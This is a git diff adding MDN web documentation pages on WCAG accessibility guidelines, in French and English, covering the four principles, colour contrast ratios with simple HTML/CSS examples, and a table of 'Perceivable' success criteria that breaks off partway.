+<p class="summary">Cet ensemble d'articles fournit des explications rapides pour vous aider à comprendre les étapes à suivre pour vous conformer aux recommandations décrites dans les Directives d'accessibilité du contenu Web 2.0 ou 2.1 du W3C (ou simplement WCAG, aux fins de cet article).</p>
+
+<p>Les WCAG 2.0 et 2.1 fournissent un ensemble détaillé de lignes directrices pour rendre le contenu Web plus accessible aux personnes ayant une grande variété de handicaps. Il est complet mais incroyablement détaillé et assez difficile à comprendre rapidement. Pour cette raison, nous avons résumé les étapes pratiques que vous devez suivre pour satisfaire les différentes recommandations, avec d'autres liens vers plus de détails si nécessaire.</p>
+
+<h2 id="Les_quatre_principes">Les quatre principes</h2>
+
+<p>Les WCAG sont globalement divisés en quatre principes — éléments majeurs que le contenu Web <strong>doit être</strong> pour être considéré comme accessible (voir <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Comprendre les Quatre Principes d'Accessibilité </a>pour les définitons des WCAG).</p>
+
+<p>Chacun des liens ci-dessous vous mènera à des pages qui développent davantage ces domaines, vous donnant des conseils pratiques sur la façon de rédiger votre contenu Web afin qu'il soit conforme aux critères de succès décrits dans chacune des directives WCAG 2.0 et 2.1 qui se subdivisent davantage en chaque principe.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceptile:</a> Les utilisateurs doivent pouvoir le percevoir d'une manière ou d'une autre, en utilisant un ou plusieurs de leurs sens.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Opérable</a>: Les utilisateurs doivent pouvoir contrôler les éléments de l'interface utilisateur (par exemple, les boutons doivent être cliquables d'une manière ou d'une autre - souris, clavier, commande vocale, etc.).</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Compréhensible</a>: Le contenu doit être compréhensible pour ses utilisateurs.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robuste</a>: Le contenu doit être développé à l'aide de normes Web bien adoptées qui fonctionneront sur différents navigateurs, maintenant et à l'avenir.</li>
+</ul>
+
+<h2 id="Dois-je_utiliser_WCAG_2.0_ou_2.1">Dois-je utiliser WCAG 2.0 ou 2.1?</h2>
+
+<p>WCAG 2.1 est la norme d'accessibilité la plus récente et la plus pertinente. Utilisez WCAG 2.1 pour aider plus de personnes handicapées et réduire le risque juridique futur pour les propriétaires de sites Web. Ciblez d'abord WCAG 2.0 lors de l'allocation des ressources. Passez ensuite à WCAG 2.1. </p>
+
+<h3 id="Quest-ce_que_WCAG_2.1">Qu'est-ce que WCAG 2.1?</h3>
+
+<p>WCAG 2.1 a été publié en tant que recommandation officielle le 5 juin 2018. L'Union européenne (UE) a adopté WCAG 2.1 comme norme d'accessibilité numérique en septembre 2018. Le W3C a publié un communiqué de presse <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption en Europe</a>. </p>
+
+<p>WCAG 2.1 comprend:</p>
+
+<ul>
+ <li>tous les WCAG 2.0 (textuellement, mot-à-mot)</li>
+ <li>17 nouveaux critères de succès aux niveaux A / AA / AAA répondant principalement aux besoins des utilisateurs dans ces domaines:
+  <ul>
+   <li>Accessibilité mobile</li>
+   <li>Vision faible</li>
+   <li>Cognitive</li>
+  </ul>
+ </li>
+ <li>En savoir plus sur WCAG 2.1:
+  <ul>
+   <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1:  Quelle est la suite des directives d'accessibilité</a></li>
+   <li>TPG:  <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Directives pour l'Accessibilité des Contenus Web (WCAG) 2.1</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Statut_juridique">Statut juridique</h2>
+
+<p>Ce guide est destiné à fournir des informations pratiques pour vous aider à créer de meilleurs sites Web plus accessibles. Cependant, nous ne sommes pas des avocats et rien de tout cela ne constitue un avis juridique. Si vous êtes préoccupé par les implications juridiques de l'accessibilité du Web, nous vous recommandons de vérifier la législation spécifique régissant l'accessibilité du Web / des ressources publiques dans votre pays ou région, et de demander l'avis d'un avocat qualifié.</p>
+
+<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">Qu'est ce que l'accessibilité?</a> et particularité, <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">les directives d'Accessibility et la section sur la loi</a> fournissent des informations complémentaires.</p>
diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html b/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html
new file mode 100644
index 0000000000..497a2675f7
--- /dev/null
+++ b/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html
@@ -0,0 +1,162 @@
+---
+title: Contraste de la couleur
+slug: Web/Accessibility/Understanding_WCAG/Perceivable/Contraste_de_la_couleur
+tags:
+  - Accessibilité
+  - WCAG
+  - contraste
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
+---
+<p>Le <a href="https://www.w3.org/TR/WCAG21/#dfn-contrast-ratio">contraste de la couleur</a> entre l'arrière-plan et le contenu de premier-plan (qui est en général du texte) doit être assez prononcé pour assurer la lisibilité.</p>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Lors de la conception d'interfaces lisibles pour différentes capacités de vision, les directives WCAG recommandent les rapports de contraste suivants:</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type de contenu</th>
+   <th scope="col">Ratio minimum (Note AA)</th>
+   <th scope="col">Ratio amélioré (Note AAA)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Corps</td>
+   <td>4.5 : 1</td>
+   <td>7 : 1</td>
+  </tr>
+  <tr>
+   <td>Texte grande échelle (120-150% plus large que le corps)</td>
+   <td>3 : 1</td>
+   <td>4.5 : 1</td>
+  </tr>
+  <tr>
+   <td><span class="tlid-translation translation" lang="fr"><span title="">Composants d'interface utilisateur actifs et objets graphiques tels que des icônes et des graphiques</span></span></td>
+   <td>3 : 1</td>
+   <td>Non défini</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Ces ratios ne s'appliquent pas au texte "accessoire", comme les contrôles inactifs, les logotypes ou le texte purement décoratif.</span></span></p>
+
+<p>Voir la section {{anch("Solution")}} ci-dessous pour plus d'informations.</p>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Un bon contraste des couleurs sur votre site profite à tous vos utilisateurs, mais celà est particulièrement intéressant pour les utilisateurs souffrant de certains types de daltonisme et d'autres particularités similaires, qui rencontrent un faible contraste et ont du mal à faire la différence entre des couleurs proches.</span> <span title="">En effet, ces utilisateurs ne voient pas les zones claires et sombres aussi facilement que ceux sans ces particularités et ont donc du mal à voir les bords, les bordures et d'autres détails.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">C'est bien d'avoir un design cool sur votre site, mais le design ne vaut rien si vos utilisateurs ne peuvent pas lire votre contenu.</span></span></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Jetons un coup d<span class="tlid-translation translation" lang="fr"><span title="">'œil à du</span></span> code HTML et CSS assez simple:</p>
+
+<pre class="brush: html">&lt;div class="bon"&gt;Bon contraste&lt;/div&gt;
+&lt;div class="mauvais"&gt;Mauvais contraste&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  /* Styles généraux de div ici */
+}
+
+.bon {
+  background-color: #fae6fa;
+}
+
+.mauvais {
+  background-color: #400064;
+}</pre>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Les deux textes ont leur couleur noire par défaut.</span></span> La "bonne" <code>&lt;div&gt;</code> a un fond violet clair, ce qui rend le texte facile à lire:</p>
+
+<div class="hidden">
+<h4 id="exemple1">exemple1</h4>
+
+<pre class="brush: html">    &lt;div class="bon"&gt;
+      Bon contraste
+    &lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  font-family: sans-serif;
+  text-align: center;
+  font-size: 2rem;
+  font-weight: bold;
+  width: 250px;
+  padding: 30px;
+  border-radius: 20px;
+  box-shadow: 1px 1px 1px black;
+}
+
+.bon {
+  background-color: #fae6fa;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('exemple1', '100%', '100')}}</p>
+
+<p>La "mauvaise" <code>&lt;div&gt;</code>, en revanche, a un fond violet très foncé, ce qui rend le texte beaucoup plus difficile à lire:</p>
+
+<div class="hidden">
+<h4 id="exemple2">exemple2</h4>
+
+<pre class="brush: html">    &lt;div class="mauvais"&gt;
+      Mauvais contraste
+    &lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  font-family: sans-serif;
+  text-align: center;
+  font-size: 2rem;
+  font-weight: bold;
+  width: 250px;
+  padding: 30px;
+  border-radius: 20px;
+  box-shadow: 1px 1px 1px black;
+}
+
+.mauvais {
+  background-color: #400064;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('exemple2', '100%', '100')}}</p>
+
+<dl>
+</dl>
+
+<h2 id="Solution">Solution</h2>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Lorsque vous choisissez un jeu de couleurs pour votre site Web, choisissez des couleurs de premier plan et d'arrière-plan qui offrent un bon contraste.</span> <span title="">Faites en sorte que le contraste des couleurs soit aussi bon que possible dans vos contraintes de conception - optez idéalement pour la note AAA (voir paragraphe 1.4.6 ci-dessous), mais répondez au moins à la note AA (voir paragraphe 1.4.3 ci-dessous).</span></span></p>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Si vous incluez du contenu non textuel tel qu'une vidéo ou une animation, vous devrez suivre le paragraphe 1.4.11 (encore une fois, voir ci-dessous).</span></span></p>
+
+<p>Pour vérifier votre contraste lorsque vous effectuez un choix de couleurs, vous pouvez utiliser le <a class="external external-icon" href="http://webaim.org/resources/contrastchecker/" rel="noopener">Vérificateur de Contraste des Couleurs</a> de WebAIM.</p>
+
+<p>Vous pouvez également vérifier le contraste des couleurs directement via les outils de développement de Firefox — consultez notre guide de l'<a href="https://developer.mozilla.org/fr/docs/Outils/Inspecteur_accessibilite">Inspecteur de l'accessibilité</a>, et en particulier la section <a href="https://developer.mozilla.org/fr/docs/Outils/Inspecteur_accessibilite#S%C3%A9lecteur_d'accessibilit%C3%A9">Vérifier les problèmes d'accessibilité</a>. Essayez de les utiliser sur les exemples dans la section de description.</p>
+
+<h2 id="Critères_de_réussite_associés_aux_WCAG"><span class="tlid-translation translation" lang="fr"><span title="">Critères de réussite associés aux WCAG</span></span></h2>
+
+<dl>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-minimum">1.4.3 Contraste minimum (AA)</a></dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Le contraste des couleurs entre le contenu d'arrière-plan et de premier plan doit être au minimum pour garantir la lisibilité:</span></span>
+ <ul>
+  <li>Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 4.5:1.</li>
+  <li>Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 3:1. Le texte "plus grand" est défini comme au moins 18pt, ou 14pt en gras.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-enhanced">1.4.6 Contraste amélioré (AAA)</a></dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Cela suit et s'appuie sur le critère 1.4.3.</span></span>
+ <ul>
+  <li>Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 7:1.</li>
+  <li>Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 4.5:1.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#non-text-contrast">1.4.11 Contraste non textuel (AA)</a> (ajouté en 2.1)</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Il doit y avoir un ratio de contraste de couleur minimum de 3 à 1 pour les composants de l'interface utilisateur et les objets graphiques.</span></span></dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Apprendre/a11y/CSS_and_JavaScript#Couleur_et_contraste_de_couleur">Couleur et contraste de couleur</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML#%C3%89tiquettes_multiples">Étiquettes multiples</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Comprendre le contraste non textuel</a></li>
+</ul>
diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/index.html b/files/fr/web/accessibility/understanding_wcag/perceivable/index.html
new file mode 100644
index 0000000000..e8059d8fca
--- /dev/null
+++ b/files/fr/web/accessibility/understanding_wcag/perceivable/index.html
@@ -0,0 +1,359 @@
+---
+title: Perceivable
+slug: Web/Accessibility/Understanding_WCAG/Perceivable
+tags:
+  - Accessibility
+  - NeedsTranslation
+  - Principle 1
+  - TopicStub
+  - WCAG
+  - Web Content Accessibility Guidelines
+  - contrast
+  - different presentation
+  - text alternatives
+  - time-based media
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable
+---
+<p class="summary">This article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the <strong>Perceivable</strong> principle of the Web Content Accessibility Guidelines (WCAG) 2.0 and 2.1. Perceivable states that users must be able to perceive it in some way, using one or more of their senses.</p>
+
+<div class="note">
+<p><strong>Note</strong>: To read the W3C definitions for Perceivable and its guidelines and success criteria, see <a href="https://www.w3.org/TR/WCAG21/#perceivable">Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.</a></p>
+</div>
+
+<h2 id="Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">Guideline 1.1 — Providing text alternatives for non-text content</h2>
+
+<p>The key here is that text can be converted to other forms people with disabilities can use, so for example spoken by a screenreader, zoomed in, or represented on a braille display. Non-text content refers to multimedia such as images, audio, and video.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="5">1.1.1 Provide text equivalents  (A)</td>
+   <td>All images that convey meaningful content should be given suitable alternative text.</td>
+   <td><a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives.</a></td>
+  </tr>
+  <tr>
+   <td>Complex images or charts should have an accessible alternative provided, either on the same page or linked to. Use a regular link rather than the <code>longdesc</code> attribute.</td>
+   <td>
+    <p>A text description may work, or an accessible data table (see <a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a>). Also see <a href="/en-US/docs/Learn/Accessibility/HTML#Other_text_alternative_mechanisms">Other text alternative mechanisms</a> for the argument against <code>longdesc</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Multimedia content (e.g. audio or video) should at least have a descriptive identification available (e.g. a caption or similar).</td>
+   <td>
+    <p>See <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a> for static caption options, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a>, <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a>, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> for other alternatives.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>UI Controls such as form elements and buttons should have text labels that describe their purpose.</td>
+   <td>Buttons are simple — you should make sure the button text describes the function of the button (e.g. <code>&lt;button&gt;Upload image&lt;/button&gt;</code>). For further information on other UI controls, see <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>.</td>
+  </tr>
+  <tr>
+   <td>Implement decorative (non-content) images, video, etc., in a way that is invisible to assistive technology, so it doesn't confuse users.</td>
+   <td>
+    <p>Decorative images should be implemented using CSS background images (see <a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Backgrounds</a>).  If you have to include an image via an {{htmlelement("img")}} element, give it a blank alt (<code>alt=""</code>), otherwise screenreaders may try to read out the filepath, etc.</p>
+
+    <p>If you are including background video or audio that autoplays, make it as unobtrusive as possible. Don't make it look/sound like content, and provide a control to turn it off. Ideally, don't include it at all.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the <a href="https://www.w3.org/TR/WCAG21/#text-alternatives">WCAG description for Guideline 1.1: Text alternatives</a>.</p>
+</div>
+
+<h2 id="Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">Guideline 1.2 — Providing text alternatives for time-based media</h2>
+
+<p>Time-based media refers to multimedia with a duration, i.e. audio and video. Also note that if the audio/video serves as an alternative to existing text content, you don't need to provide another text alternative.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.2.1 Provide alternatives for pre-recorded audio-only and video-only content (A)</td>
+   <td>A transcript should be provided for prerecorded audio-only media, and a transcript or audio description should be provided for prerecorded video-only media (i.e. silent video).</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.2 Provide captions for web-based video (A)</td>
+   <td>You should provide captions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't hear the audio part of the video.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a> for HTML5 video captions, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> for other technologies. See also <a href="https://support.google.com/youtube/answer/2734796?hl=en">Add your own subtitles &amp; closed captions</a> (YouTube).</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.3 Provide text transcript or audio description for web-based video (A)</td>
+   <td>You should provide text transcripts or audio descriptions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.4 Provide captions for live audio (AA)</td>
+   <td>You should provide synchronized captions for all live multimedia that contains audio (e.g. video conferences, live audio broadcasts.)</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.5 Provide audio descriptions for prerecorded video (AA)</td>
+   <td>Audio descriptions should be provided for prerecorded video, but only where the existing audio does not convey the full meaning expressed by the video.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.6 Provide sign language equivalent to prerecorded audio (AAA)</td>
+   <td>An equivalent sign language video should be provided for any prerecorded content containing audio.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.7 Provide extended video with audio descriptions (AAA)</td>
+   <td>Where audio descriptions cannot be provided (see 1.2.5) due to video timing issues (e.g. there are no suitable pauses in the content in which to insert the audio descriptions), an alternative version of the video should be provided that includes inserted pauses (and audio descriptions).</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.8 Provide an alternative for prerecorded media (AAA)</td>
+   <td>For all content that features video, a descriptive text transcript should be provided, for example a script of the movie you are watching. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.9 Provide a transcript for live audio (AAA)</td>
+   <td>For any live audio content being broadcast, a descriptive text should be provided, for example a script of the play or musical you are listening to. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the <a href="https://www.w3.org/TR/WCAG21/#time-based-media">WCAG description for Guideline 1.2: Time-based Media: Provide alternatives for time-based media</a>.</p>
+</div>
+
+<h2 id="Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">Guideline 1.3 — Create content that can be presented in different ways</h2>
+
+<p>This guideline refers to the ability of content to be consumed by users in multiple ways, accomodating their differing needs.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.3.1 Info and relationships (A)</td>
+   <td>
+    <p>Any content structure — or visual relationship made between content —  can also be determined programmatically, or be inferred from text description. The main situations in which this is relevant are:</p>
+
+    <ul>
+     <li>Text labels and the form elements they describe are associated unambiguously using the {{htmlelement("label")}} element, which can be picked up by screenreaders, etc.</li>
+     <li>Image alt text — content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g. <code>alt</code> text), or otherwise is easy to associate (e.g. describes it and is sat right next to it). This should means that the full meaning can still be inferred even if you can't see the image.</li>
+     <li>Lists — if the order of list items is important, and ordered list should be used ({{htmlelement("ol")}}).</li>
+    </ul>
+   </td>
+   <td>The whole of
+    <p><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a> is packed with information about this, but you should particularly refer to <a href="/en-US/docs/Learn/Accessibility/HTML#Good_semantics">Good semantics</a>, <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>, and <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.2 Meaningful content sequence (A)</td>
+   <td>A sensible, logical reading order should be easy to determine for any content, even if it is visually presented in an unusual way. The order should be made obvious by use of correct semantic elements (e.g. headings, paragraphs), with CSS being used to create any unusual layout styles, irrespective of the markup.</td>
+   <td>Again, refer to <a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.3 Sensory characteristics (A)</td>
+   <td>
+    <p>Instructions for operating controls or understanding content do not rely on a single sense — this may prove inaccessible to people with a disability related to that sense, or a device that does not support that sense. So for example:</p>
+
+    <ul>
+     <li>"Click the round button to continue" — The button should be clearly labelled so that it is obvious that it is the button you need to press. If there are multiple buttons, make sure there are all clearly labelled to distinguish their function.</li>
+     <li>"Listen to the audio instructions for guidance" — This is obviously problematic — audio will be inaccessible to those with heading impairments, whereas text can be read, but also spoken by a screenreader if required.</li>
+     <li>"Swipe from the right hand side of the screen to reveal the menu" — some users might not be able to swipe the screen, either due to disability or because their device does not support touch. An alternative should be provided, such as a keyboard shortcut or button that can be activated by keyboard or other means.</li>
+    </ul>
+
+    <div class="note">
+    <p><strong>Note</strong>: Conveying instructions solely by color is related, but covered in a different guideline — 1.4.1.</p>
+    </div>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.4 Orientation (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Content does not restrict its view and operation to a single display orientation, such as portrait or landscape, unless a specific display orientation is essential.</td>
+   <td>
+    <p><a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html">Understanding Orientation</a> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.5 Identify Input Purpose (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p> </p>
+
+    <p>Follow the list of <a href="https://www.w3.org/TR/WCAG21/#input-purposes">53 input fields</a> to programmatically identify the purpose of a field.   </p>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-input-purpose.html">Understanding Identify Input Purpose</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.6 Identify Purpose (AAA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>In content implemented using markup languages, the purpose of User Interface Components, icons, and regions can be programmatically determined.</td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-purpose.html">Understanding Identify Purpose</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Also see the WCAG description for <a href="https://www.w3.org/TR/WCAG21/#adaptable">Guideline 1.3: Adaptable: Create content that can be presented in different ways without losing information or structure.</a></p>
+</div>
+
+<h2 id="Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Guideline 1.4: Make it easier for users to see and hear content including separating foreground from background</h2>
+
+<p>This guideline relates to making sure core content is easy to discernable from backgrounds and other decoration. The classic example is color (both color contrast and use of color to convey instructions), but it applies in other situations too.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Success criteria</th>
+   <th scope="col">How to conform to the criteria</th>
+   <th scope="col">Practical resource</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.4.1 Use of color (A)</td>
+   <td>
+    <p>Color should not be solely relied upon to convey information — for example, in forms you should never mark required fields purely with a color (like red). Instead (or as well as), something like an asterisk with a label of "required" would be more appropriate.</p>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a> and <a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form#Multiple_labels">Multiple labels</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.2 Audio controls (A)</td>
+   <td>For any audio that plays for longer than three seconds, accessible controls should be provided to play and pause the audio/video, and mute/adjust volume.</td>
+   <td>Use native <code>&lt;button&gt;</code>s to provide accessible keyboard controls, as shown in <a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player syling basics</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.3 Minimum contrast (AA)</td>
+   <td>
+    <p>The color contrast between background and foreground content should be at a minimum level to ensure legibility:</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 4.5.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 3.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.4 Resize text (AA)</td>
+   <td>The page should be readable and usable when the text size is doubled. This means that designs should be responsive, so that when the text size is increased, the content is still accessible.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.5 Images of text (AA)</td>
+   <td>Images should NOT be used to present content where text would do the job. For example, if an image is mostly textual, it could be represented using text as well as images.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.6 Enhanced contrast (AAA)</td>
+   <td>
+    <p>This follows, and builds on, criterion 1.4.3.</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 7.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 4.5.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.7 Low or no background audio (AAA)</td>
+   <td>Prerecorded audio recordings that primarily feature speech should have minimal background noise, so the content can be easily understood.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.8 Visual presentation (AAA)</td>
+   <td>
+    <p>For text content presentation, the following should be true:</p>
+
+    <ul>
+     <li>Foreground and background colors should be user-selectable.</li>
+     <li>Text blocks should be no wider than 80 characters (or glyphs), for maximum readability.</li>
+     <li>Text should not be fully justified (e.g. <code>text-align: justify;</code>)</li>
+     <li>line height should be at least 1.5 times the text size within paragraphs (e.g. <code>line-height: 1.5;</code>), and at least 2.25 times the text size between paragraphs (e.g. <code>padding: 2.25rem;</code>)</li>
+     <li>When the text size is doubled, the content should not need to be scrolled.</li>
+    </ul>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.9 Images of text (No Exception) (AAA)</td>
+   <td>Text should not be presented as part of an image unless it is purely decoration (i.e. it does not convey any content), or cannot be presented in any other way.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.10 Reflow (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <ul>
+     <li>No horizontal scrolling for right-to-left languages (like English) or left-to-right languages (like Arabic)   </li>
+     <li>No vertical scrolling for top-to-bottom languages (like Japanese)</li>
+     <li>Except for parts of the content which require two-dimensional layout for usage or meaning (like a large data table).</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/reflow.html">Understanding Reflow</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.11 Non-Text Contrast(AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Minimum color contrast ratio of 3 to 1 for user interface components and graphical objects. </td>
